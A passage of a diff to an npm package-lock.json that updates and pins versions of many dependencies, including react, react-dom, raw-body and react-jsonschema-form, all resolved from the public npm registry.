- "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==",
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.5.tgz",
+ "integrity": "sha512-t/7RxHXPH6cJtP0pRG6smSr9QJidhB+3kXu0KgXnbGYMgzEnUxRQ4/LDdfOwZEMyIh3/xHb8PX3t+lfL9z+YVQ==",
"dev": true,
"requires": {
- "forwarded": "~0.1.2",
- "ipaddr.js": "1.8.0"
+ "forwarded": "0.1.2",
+ "ipaddr.js": "1.9.0"
}
},
"prr": {
@@ -14277,30 +15380,30 @@
"integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==",
"dev": true,
"requires": {
- "bn.js": "^4.1.0",
- "browserify-rsa": "^4.0.0",
- "create-hash": "^1.1.0",
- "parse-asn1": "^5.0.0",
- "randombytes": "^2.0.1",
- "safe-buffer": "^5.1.2"
+ "bn.js": "4.11.8",
+ "browserify-rsa": "4.0.1",
+ "create-hash": "1.2.0",
+ "parse-asn1": "5.1.5",
+ "randombytes": "2.1.0",
+ "safe-buffer": "5.2.0"
},
"dependencies": {
"safe-buffer": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
+ "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==",
"dev": true
}
}
},
"pump": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
- "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
+ "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
"dev": true,
"requires": {
- "end-of-stream": "^1.1.0",
- "once": "^1.3.1"
+ "end-of-stream": "1.4.1",
+ "once": "1.4.0"
}
},
"pumpify": {
@@ -14309,9 +15412,21 @@
"integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==",
"dev": true,
"requires": {
- "duplexify": "^3.6.0",
- "inherits": "^2.0.3",
- "pump": "^2.0.0"
+ "duplexify": "3.7.1",
+ "inherits": "2.0.3",
+ "pump": "2.0.1"
+ },
+ "dependencies": {
+ "pump": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
+ "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
+ "dev": true,
+ "requires": {
+ "end-of-stream": "1.4.1",
+ "once": "1.4.0"
+ }
+ }
}
},
"punycode": {
@@ -14354,9 +15469,9 @@
"dev": true
},
"querystringify": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.0.tgz",
- "integrity": "sha512-sluvZZ1YiTLD5jsqZcDmFyV2EwToyXZBfpoVOmktMmW+VEnhgakFHnasVph65fOjGPTWN0Nw3+XQaSeMayr0kg==",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.1.tgz",
+ "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==",
"dev": true
},
"randomatic": {
@@ -14366,8 +15481,8 @@
"dev": true,
"optional": true,
"requires": {
- "is-number": "^3.0.0",
- "kind-of": "^4.0.0"
+ "is-number": "3.0.0",
+ "kind-of": "4.0.0"
},
"dependencies": {
"is-number": {
@@ -14377,7 +15492,7 @@
"dev": true,
"optional": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -14387,7 +15502,7 @@
"dev": true,
"optional": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -14399,18 +15514,18 @@
"dev": true,
"optional": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
},
"randombytes": {
- "version": "2.0.6",
- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.6.tgz",
- "integrity": "sha512-CIQ5OFxf4Jou6uOKe9t1AOgqpeU5fd70A8NPdHSGeYXqXsPe6peOwI0cUl88RWZ6sP1vPMV3avd/R6cZ5/sP1A==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
"dev": true,
"requires": {
- "safe-buffer": "^5.1.0"
+ "safe-buffer": "5.1.1"
}
},
"randomfill": {
@@ -14419,8 +15534,8 @@
"integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==",
"dev": true,
"requires": {
- "randombytes": "^2.0.5",
- "safe-buffer": "^5.1.0"
+ "randombytes": "2.1.0",
+ "safe-buffer": "5.1.1"
}
},
"range-parser": {
@@ -14430,46 +15545,45 @@
"dev": true
},
"raw-body": {
- "version": "2.3.3",
- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.3.tgz",
- "integrity": "sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw==",
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
+ "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
"dev": true,
"requires": {
- "bytes": "3.0.0",
- "http-errors": "1.6.3",
- "iconv-lite": "0.4.23",
+ "bytes": "3.1.0",
+ "http-errors": "1.7.2",
+ "iconv-lite": "0.4.24",
"unpipe": "1.0.0"
},
"dependencies": {
"iconv-lite": {
- "version": "0.4.23",
- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz",
- "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==",
+ "version": "0.4.24",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
"dev": true,
"requires": {
- "safer-buffer": ">= 2.1.2 < 3"
+ "safer-buffer": "2.1.2"
}
}
}
},
"rc-progress": {
- "version": "2.2.6",
- "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.6.tgz",
- "integrity": "sha512-73Ul9WrWf474q0ze+XblpcR8q2No0tybHt+zdGXYyQ7fUZy4b+I5dUQcoxr9UXY6W5Ele9ZsPWJWHSDz/IAOUw==",
+ "version": "2.5.2",
+ "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.5.2.tgz",
+ "integrity": "sha512-ajI+MJkbBz9zYDuE9GQsY5gsyqPF7HFioZEDZ9Fmc+ebNZoiSeSJsTJImPFCg0dW/5WiRGUy2F69SX1aPtSJgA==",
"requires": {
- "babel-runtime": "6.x",
- "prop-types": "^15.5.8"
+ "babel-runtime": "6.25.0",
+ "prop-types": "15.7.2"
}
},
"react": {
- "version": "16.6.3",
- "resolved": "https://registry.npmjs.org/react/-/react-16.6.3.tgz",
- "integrity": "sha512-zCvmH2vbEolgKxtqXL2wmGCUxUyNheYn/C+PD1YAjfxHC54+MhdruyhO7QieQrYsYeTxrn93PM2y0jRH1zEExw==",
+ "version": "16.9.0",
+ "resolved": "https://registry.npmjs.org/react/-/react-16.9.0.tgz",
+ "integrity": "sha512-+7LQnFBwkiw+BobzOF6N//BdoNw0ouwmSJTEm9cglOOmsg/TMiFHZLe2sEoN5M7LgJTj9oHH0gxklfnQe66S1w==",
"requires": {
- "loose-envify": "^1.1.0",
- "object-assign": "^4.1.1",
- "prop-types": "^15.6.2",
- "scheduler": "^0.11.2"
+ "loose-envify": "1.3.1",
+ "object-assign": "4.1.1",
+ "prop-types": "15.7.2"
}
},
"react-addons-test-utils": {
@@ -14483,10 +15597,10 @@
"resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz",
"integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=",
"requires": {
- "base16": "^1.0.0",
- "lodash.curry": "^4.0.1",
- "lodash.flow": "^3.3.0",
- "pure-color": "^1.2.0"
+ "base16": "1.0.0",
+ "lodash.curry": "4.1.1",
+ "lodash.flow": "3.5.0",
+ "pure-color": "1.3.0"
}
},
"react-bootstrap": {
@@ -14494,18 +15608,18 @@
"resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz",
"integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==",
"requires": {
- "@babel/runtime-corejs2": "^7.0.0",
- "classnames": "^2.2.5",
- "dom-helpers": "^3.2.0",
- "invariant": "^2.2.4",
- "keycode": "^2.2.0",
- "prop-types": "^15.6.1",
- "prop-types-extra": "^1.0.1",
- "react-overlays": "^0.8.0",
- "react-prop-types": "^0.4.0",
- "react-transition-group": "^2.0.0",
- "uncontrollable": "^5.0.0",
- "warning": "^3.0.0"
+ "@babel/runtime-corejs2": "7.4.3",
+ "classnames": "2.2.6",
+ "dom-helpers": "3.4.0",
+ "invariant": "2.2.4",
+ "keycode": "2.2.0",
+ "prop-types": "15.7.2",
+ "prop-types-extra": "1.1.0",
+ "react-overlays": "0.8.3",
+ "react-prop-types": "0.4.0",
+ "react-transition-group": "2.8.0",
+ "uncontrollable": "5.1.0",
+ "warning": "3.0.0"
},
"dependencies": {
"invariant": {
@@ -14513,7 +15627,7 @@
"resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
"integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
}
}
@@ -14523,8 +15637,8 @@
"resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz",
"integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==",
"requires": {
- "copy-to-clipboard": "^3",
- "prop-types": "^15.5.8"
+ "copy-to-clipboard": "3.0.8",
+ "prop-types": "15.7.2"
}
},
"react-data-components": {
@@ -14532,8 +15646,8 @@
"resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz",
"integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==",
"requires": {
- "lodash": "^4.13.1",
- "prop-types": "^15.5.10"
+ "lodash": "4.17.10",
+ "prop-types": "15.7.2"
}
},
"react-desktop-notification": {
@@ -14549,18 +15663,18 @@
"resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz",
"integrity": "sha512-go5vMuGUxaB5PiTSIk+ZfAxLbHwcIgIfLhkBZ2SIMQjaCgnpttxa30z5ijEzfDjeOCTGRpxvkzcmE4Vt4Ppvyw==",
"requires": {
- "element-resize-event": "^2.0.4"
+ "element-resize-event": "2.0.9"
}
},
"react-dom": {
- "version": "16.6.3",
- "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.6.3.tgz",
- "integrity": "sha512-8ugJWRCWLGXy+7PmNh8WJz3g1TaTUt1XyoIcFN+x0Zbkoz+KKdUyx1AQLYJdbFXjuF41Nmjn5+j//rxvhFjgSQ==",
+ "version": "16.9.0",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.9.0.tgz",
+ "integrity": "sha512-YFT2rxO9hM70ewk9jq0y6sQk8cL02xm4+IzYBz75CQGlClQQ1Bxq0nhHF6OtSbit+AIahujJgb/CPRibFkMNJQ==",
"requires": {
- "loose-envify": "^1.1.0",
- "object-assign": "^4.1.1",
- "prop-types": "^15.6.2",
- "scheduler": "^0.11.2"
+ "loose-envify": "1.3.1",
+ "object-assign": "4.1.1",
+ "prop-types": "15.7.2",
+ "scheduler": "0.15.0"
}
},
"react-event-timeline": {
@@ -14569,7 +15683,7 @@
"integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==",
"dev": true,
"requires": {
- "prop-types": "^15.6.0"
+ "prop-types": "15.7.2"
}
},
"react-fa": {
@@ -14577,8 +15691,8 @@
"resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz",
"integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==",
"requires": {
- "font-awesome": "^4.3.0",
- "prop-types": "^15.5.8"
+ "font-awesome": "4.7.0",
+ "prop-types": "15.7.2"
}
},
"react-filepond": {
@@ -14591,10 +15705,10 @@
"resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz",
"integrity": "sha512-qVFWtvLVJgnYGtpOPHtg1RIW4xNm9Hd4GXgJy1IYrlYZYkOQW0snSOMr24c6R8Vcad1oU70iqgKR381GDDwrBA==",
"requires": {
- "lodash": "^4.17.4",
- "prop-types": "^15.5.10",
- "uuid": "^2.0.1",
- "vis": "^4.18.1"
+ "lodash": "4.17.10",
+ "prop-types": "15.7.2",
+ "uuid": "2.0.3",
+ "vis": "4.21.0"
},
"dependencies": {
"uuid": {
@@ -14605,17 +15719,68 @@
}
},
"react-hot-loader": {
- "version": "4.3.11",
- "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.11.tgz",
- "integrity": "sha512-T0G5jURyTsFLoiW6MTr5Q35UHC/B2pmYJ7+VBjk8yMDCEABRmCGy4g6QwxoB4pWg4/xYvVTa/Pbqnsgx/+NLuA==",
+ "version": "4.12.13",
+ "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.13.tgz",
+ "integrity": "sha512-4Byk3aVQhcmTnVCBvDHOEOUnMFMj81r2yRKZQSfLOG2yd/4hm/A3oK15AnCZilQExqSFSsHcK64lIIU+dU2zQQ==",
"dev": true,
"requires": {
- "fast-levenshtein": "^2.0.6",
- "global": "^4.3.0",
- "hoist-non-react-statics": "^2.5.0",
- "prop-types": "^15.6.1",
- "react-lifecycles-compat": "^3.0.4",
- "shallowequal": "^1.0.2"
+ "fast-levenshtein": "2.0.6",
+ "global": "4.4.0",
+ "hoist-non-react-statics": "3.3.0",
+ "loader-utils": "1.2.3",
+ "prop-types": "15.7.2",
+ "react-lifecycles-compat": "3.0.4",
+ "shallowequal": "1.1.0",
+ "source-map": "0.7.3"
+ },
+ "dependencies": {
+ "big.js": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+ "dev": true
+ },
+ "hoist-non-react-statics": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.0.tgz",
+ "integrity": "sha512-0XsbTXxgiaCDYDIWFcwkmerZPSwywfUqYmwT4jzewKTQSWoE6FCMoUVOeBJWK3E/CrWbxRG3m5GzY4lnIwGRBA==",
+ "dev": true,
+ "requires": {
+ "react-is": "16.9.0"
+ }
+ },
+ "json5": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+ "dev": true,
+ "requires": {
+ "minimist": "1.2.0"
+ }
+ },
+ "loader-utils": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
+ "dev": true,
+ "requires": {
+ "big.js": "5.2.2",
+ "emojis-list": "2.1.0",
+ "json5": "1.0.1"
+ }
+ },
+ "react-is": {
+ "version": "16.9.0",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz",
+ "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==",
+ "dev": true
+ },
+ "source-map": {
+ "version": "0.7.3",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz",
+ "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==",
+ "dev": true
+ }
}
},
"react-is": {
@@ -14624,51 +15789,74 @@
"integrity": "sha512-u7FDWtthB4rWibG/+mFbVd5FvdI20yde86qKGx4lVUTWmPlSWQ4QxbBIrrs+HnXGbxOUlUzTAP/VDmvCwaP2yA=="
},
"react-json-tree": {
- "version": "0.11.0",
- "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.0.tgz",
- "integrity": "sha1-9bF+gzKanHauOL5cBP2jp/1oSjU=",
+ "version": "0.11.2",
+ "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz",
+ "integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==",
"requires": {
- "babel-runtime": "^6.6.1",
- "prop-types": "^15.5.8",
- "react-base16-styling": "^0.5.1"
+ "babel-runtime": "6.25.0",
+ "prop-types": "15.7.2",
+ "react-base16-styling": "0.5.3"
}
},
"react-jsonschema-form": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.6.tgz",
- "integrity": "sha512-F6441MjApWHiFU/98T+fM19kBP9Ib0b3GMOB5DNyXnfMYC35CLwaANeZsTHug0HAmXGxgG+caPZSxgJSAyPz1Q==",
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.8.0.tgz",
+ "integrity": "sha512-3rZZ1tCG+vtXRXEdX751t5L1c1TUGk1pvSY/4LzBrUo5FlwulnwJpkosE4BqwSRxvfMckP8YoHFQV4KjzaHGgQ==",
"requires": {
- "ajv": "^5.2.3",
- "babel-runtime": "^6.26.0",
- "core-js": "^2.5.7",
- "lodash.topath": "^4.5.2",
- "prop-types": "^15.5.8"
+ "@babel/runtime-corejs2": "7.6.0",
+ "ajv": "6.10.2",
+ "core-js": "2.6.9",
+ "lodash": "4.17.15",
+ "prop-types": "15.7.2",
+ "react-is": "16.9.0",
+ "react-lifecycles-compat": "3.0.4",
+ "shortid": "2.2.15"
},
"dependencies": {
- "ajv": {
- "version": "5.5.2",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz",
- "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=",
+ "@babel/runtime-corejs2": {
+ "version": "7.6.0",
+ "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.6.0.tgz",
+ "integrity": "sha512-zbPQzlbyJab2xCYb6VaESn8Tk/XiVpQJU7WvIKiQCwlFyc2NSCzKjqtBXCvpZBbiTOHCx10s2656REVnySwb+A==",
"requires": {
- "co": "^4.6.0",
- "fast-deep-equal": "^1.0.0",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.3.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.13.3"
}
},
- "babel-runtime": {
- "version": "6.26.0",
- "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
- "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
+ "ajv": {
+ "version": "6.10.2",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
+ "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
}
},
+ "fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk="
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+ },
+ "lodash": {
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A=="
+ },
+ "react-is": {
+ "version": "16.9.0",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz",
+ "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw=="
+ },
"regenerator-runtime": {
- "version": "0.11.1",
- "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz",
- "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg=="
+ "version": "0.13.3",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz",
+ "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw=="
}
}
},
@@ -14677,25 +15865,17 @@
"resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz",
"integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="
},
- "react-minimalist-portal": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/react-minimalist-portal/-/react-minimalist-portal-2.3.1.tgz",
- "integrity": "sha1-SFPj9Ip0oywbh2dgGIfN95Qe66M=",
- "requires": {
- "prop-types": "^15.6.1"
- }
- },
"react-overlays": {
"version": "0.8.3",
"resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz",
"integrity": "sha512-h6GT3jgy90PgctleP39Yu3eK1v9vaJAW73GOA/UbN9dJ7aAN4BTZD6793eI1D5U+ukMk17qiqN/wl3diK1Z5LA==",
"requires": {
- "classnames": "^2.2.5",
- "dom-helpers": "^3.2.1",
- "prop-types": "^15.5.10",
- "prop-types-extra": "^1.0.1",
- "react-transition-group": "^2.2.0",
- "warning": "^3.0.0"
+ "classnames": "2.2.6",
+ "dom-helpers": "3.4.0",
+ "prop-types": "15.7.2",
+ "prop-types-extra": "1.1.0",
+ "react-transition-group": "2.8.0",
+ "warning": "3.0.0"
}
},
"react-prop-types": {
@@ -14703,7 +15883,7 @@
"resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz",
"integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=",
"requires": {
- "warning": "^3.0.0"
+ "warning": "3.0.0"
}
},
"react-redux": {
@@ -14711,13 +15891,13 @@
"resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.1.tgz",
"integrity": "sha512-LE7Ned+cv5qe7tMV5BPYkGQ5Lpg8gzgItK07c67yHvJ8t0iaD9kPFPAli/mYkiyJYrs2pJgExR2ZgsGqlrOApg==",
"requires": {
- "@babel/runtime": "^7.1.2",
- "hoist-non-react-statics": "^3.1.0",
- "invariant": "^2.2.4",
- "loose-envify": "^1.1.0",
- "prop-types": "^15.6.1",
- "react-is": "^16.6.0",
- "react-lifecycles-compat": "^3.0.0"
+ "@babel/runtime": "7.1.5",
+ "hoist-non-react-statics": "3.1.0",
+ "invariant": "2.2.4",
+ "loose-envify": "1.3.1",
+ "prop-types": "15.7.2",
+ "react-is": "16.6.3",
+ "react-lifecycles-compat": "3.0.4"
},
"dependencies": {
"hoist-non-react-statics": {
@@ -14725,7 +15905,7 @@
"resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.1.0.tgz",
"integrity": "sha512-MYcYuROh7SBM69xHGqXEwQqDux34s9tz+sCnxJmN18kgWh6JFdTw/5YdZtqsOdZJXddE/wUpCzfEdDrJj8p0Iw==",
"requires": {
- "react-is": "^16.3.2"
+ "react-is": "16.6.3"
}
},
"invariant": {
@@ -14733,7 +15913,7 @@
"resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
"integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
}
}
@@ -14743,13 +15923,13 @@
"resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz",
"integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==",
"requires": {
- "history": "^4.7.2",
- "hoist-non-react-statics": "^2.5.0",
- "invariant": "^2.2.4",
- "loose-envify": "^1.3.1",
- "path-to-regexp": "^1.7.0",
- "prop-types": "^15.6.1",
- "warning": "^4.0.1"
+ "history": "4.7.2",
+ "hoist-non-react-statics": "2.5.5",
+ "invariant": "2.2.4",
+ "loose-envify": "1.3.1",
+ "path-to-regexp": "1.7.0",
+ "prop-types": "15.7.2",
+ "warning": "4.0.2"
},
"dependencies": {
"invariant": {
@@ -14757,7 +15937,7 @@
"resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
"integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
},
"path-to-regexp": {
@@ -14773,7 +15953,7 @@
"resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz",
"integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
}
}
@@ -14783,12 +15963,12 @@
"resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz",
